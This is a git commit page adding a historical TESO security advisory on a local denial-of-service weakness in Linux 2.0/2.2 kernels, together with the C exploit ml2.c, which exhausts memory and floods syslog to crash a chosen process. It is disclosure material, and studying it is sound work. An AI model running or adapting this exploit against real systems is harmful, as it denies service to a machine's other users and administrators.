diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-002 | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'advisories/teso-advisory-002')
| -rw-r--r-- | advisories/teso-advisory-002/advisory-002.txt | 150 | ||||
| -rw-r--r-- | advisories/teso-advisory-002/ml2.c | 40 |
2 files changed, 190 insertions, 0 deletions
diff --git a/advisories/teso-advisory-002/advisory-002.txt b/advisories/teso-advisory-002/advisory-002.txt new file mode 100644 index 0000000..1deb1d8 --- /dev/null +++ b/advisories/teso-advisory-002/advisory-002.txt | |||
| @@ -0,0 +1,150 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 01/09/2000 | ||
| 6 | |||
| 7 | Linux Kernel 2.0.x and 2.2.x local Denial of Service attack | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | A weakness within the Linux 2.0.x and Linux 2.2.x kernels has been | ||
| 14 | discovered. The vulnerability allows any user without limits on the | ||
| 15 | system to crash arbitary processes, even those owned by the superuser. | ||
| 16 | Even system crashes can be experienced. | ||
| 17 | |||
| 18 | |||
| 19 | Systems Affected | ||
| 20 | =================== | ||
| 21 | |||
| 22 | All systems running the kernel versions 2.0.x or 2.2.x of the Linux | ||
| 23 | operating system with local users who have no resource limits. | ||
| 24 | It is not enough to set special values only for the max. number of | ||
| 25 | processer per user ('forkbomb'). | ||
| 26 | Linux 2.3.x systems may be affected, too, we didn't tested this versions. | ||
| 27 | |||
| 28 | |||
| 29 | Tests | ||
| 30 | =================== | ||
| 31 | |||
| 32 | A system crash or the crash of particular processes can be reproduced | ||
| 33 | using the included exploit file "ml2.c", written by Stealth [3]. | ||
| 34 | We've successfully managed to crash Linux 2.0.x and 2.2.x systems with | ||
| 35 | it. | ||
| 36 | |||
| 37 | |||
| 38 | Impact | ||
| 39 | =================== | ||
| 40 | |||
| 41 | By crashing single processes or even crashing the whole system an attacker | ||
| 42 | may render the whole system unuseable to any other user (including | ||
| 43 | superuser) or selectivly kill only important processes, denying services | ||
| 44 | to legitimate use. | ||
| 45 | |||
| 46 | |||
| 47 | Explanation | ||
| 48 | =================== | ||
| 49 | |||
| 50 | Any user can request a big amount of memory, 'stealing' required space for | ||
| 51 | important processes (syslogd, klogd, ...). Due to a lack of space, a | ||
| 52 | system-call of these processes that requires new space will fail. In | ||
| 53 | consequence this process will be killed by the kernel. | ||
| 54 | (see arch/{...}/mm/fault.c) | ||
| 55 | |||
| 56 | There should be a mechanism that protects a pool of memory for important | ||
| 57 | processes, which can only be accessed by the kernel itself or by processes | ||
| 58 | with (E)UID of 0. | ||
| 59 | |||
| 60 | The real bad thing in this is that unlimited resources are the default-case | ||
| 61 | and kernel happily gives away all the space to these unlimited processes. | ||
| 62 | In the kernel's eyes the process of luser foo has the same right/priority | ||
| 63 | for memory-requests as even init. | ||
| 64 | |||
| 65 | |||
| 66 | Solution | ||
| 67 | =================== | ||
| 68 | |||
| 69 | Since the problem can only be exploited by users who already have local | ||
| 70 | access, the best way to prevent this and other local attacks is to give | ||
| 71 | only those users access that can be trusted. | ||
| 72 | |||
| 73 | However this problem is within the Linux kernel and can definitely be | ||
| 74 | fixed. | ||
| 75 | As a general advice the administrator should heavily use resource-limits | ||
| 76 | for all 'dangerous' parts such as max. numbers of processes, max. memory | ||
| 77 | etc.. Also programs such as [4] should be used on important systems to | ||
| 78 | prevent local DoS attacks. | ||
| 79 | |||
| 80 | The Linux kernel developers have been notified at the same time as the | ||
| 81 | public Linux community, so a safe patch should be available real soon. | ||
| 82 | |||
| 83 | |||
| 84 | Acknowledgments | ||
| 85 | ================ | ||
| 86 | |||
| 87 | The bugdiscovery and further analyzation was done by | ||
| 88 | |||
| 89 | S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 90 | |||
| 91 | The exploit is due to | ||
| 92 | |||
| 93 | Stealth http://www.kalug.lug.net/stealth | ||
| 94 | |||
| 95 | This advisory has been written by scut and stealth. | ||
| 96 | |||
| 97 | |||
| 98 | Contact Information | ||
| 99 | =================== | ||
| 100 | |||
| 101 | The teso crew can be reached by mailing to teso@shellcode.org. | ||
| 102 | Our webpage is at http://teso.scene.at/ | ||
| 103 | |||
| 104 | C-skilled developers may be reached through [2]. | ||
| 105 | |||
| 106 | |||
| 107 | References | ||
| 108 | =================== | ||
| 109 | |||
| 110 | [1] TESO | ||
| 111 | http://teso.scene.at/ | ||
| 112 | |||
| 113 | [2] S. Krahmer | ||
| 114 | http://www.cs.uni-potsdam.de/homepages/students/linuxer | ||
| 115 | |||
| 116 | [3] Stealth | ||
| 117 | http://www.kalug.lug.net/stealth/ | ||
| 118 | |||
| 119 | [4] Fork Bomb Defuser | ||
| 120 | http://www.geocities.com/SiliconValley/Software/9197/rexfbd.htm | ||
| 121 | |||
| 122 | |||
| 123 | Disclaimer | ||
| 124 | =================== | ||
| 125 | |||
| 126 | This advisory does not claim to be complete or to be usable for any | ||
| 127 | purpose. Especially information on the vulnerable systems may be | ||
| 128 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 129 | purposes, but for educational purposes only. | ||
| 130 | |||
| 131 | This advisory is free for open distribution in unmodified form. | ||
| 132 | Articles that are based on information from this advisory should include | ||
| 133 | link [1] and [2]. | ||
| 134 | |||
| 135 | |||
| 136 | Exploit | ||
| 137 | =================== | ||
| 138 | |||
| 139 | We've created a working exploit to demonstrate the vulnerability. | ||
| 140 | |||
| 141 | The exploit is available on either | ||
| 142 | |||
| 143 | http://teso.scene.at/ | ||
| 144 | or | ||
| 145 | http://www.cs.uni-potsdam.de/homepages/students/linuxer/ | ||
| 146 | |||
| 147 | |||
| 148 | ------ | ||
| 149 | |||
| 150 | |||
diff --git a/advisories/teso-advisory-002/ml2.c b/advisories/teso-advisory-002/ml2.c new file mode 100644 index 0000000..9ea7f43 --- /dev/null +++ b/advisories/teso-advisory-002/ml2.c | |||
| @@ -0,0 +1,40 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <unistd.h> | ||
| 3 | #include <stdlib.h> | ||
| 4 | #include <syslog.h> | ||
| 5 | |||
| 6 | #error | ||
| 7 | |||
| 8 | int main(int argc, char **argv) | ||
| 9 | { | ||
| 10 | char foo[1000]; | ||
| 11 | char bigmsg[10000]; | ||
| 12 | char *s, *hold_s; | ||
| 13 | int i = 0; | ||
| 14 | |||
| 15 | memset(bigmsg, 'X', sizeof(bigmsg)-1); | ||
| 16 | if (argc < 2) { | ||
| 17 | printf("usage: %s <pid to kill>\n", argv[0]); | ||
| 18 | exit(1); | ||
| 19 | } | ||
| 20 | // fork(); | ||
| 21 | memset(foo, 0, sizeof(foo)); | ||
| 22 | snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]); | ||
| 23 | while (access(foo, F_OK) == 0) { | ||
| 24 | s = malloc(10000); | ||
| 25 | if (s == NULL) { | ||
| 26 | if (hold_s) | ||
| 27 | free(hold_s); | ||
| 28 | /* if (s) | ||
| 29 | s[i%10000] = 0; | ||
| 30 | */ printf("crashing ... \n"); | ||
| 31 | openlog("b00m", 0, 0); | ||
| 32 | syslog(1, bigmsg); | ||
| 33 | closelog(); | ||
| 34 | } | ||
| 35 | printf("%d\r", i++); fflush(stdout); | ||
| 36 | hold_s = s; | ||
| 37 | } | ||
| 38 | return 0; | ||
| 39 | } | ||
| 40 | |||
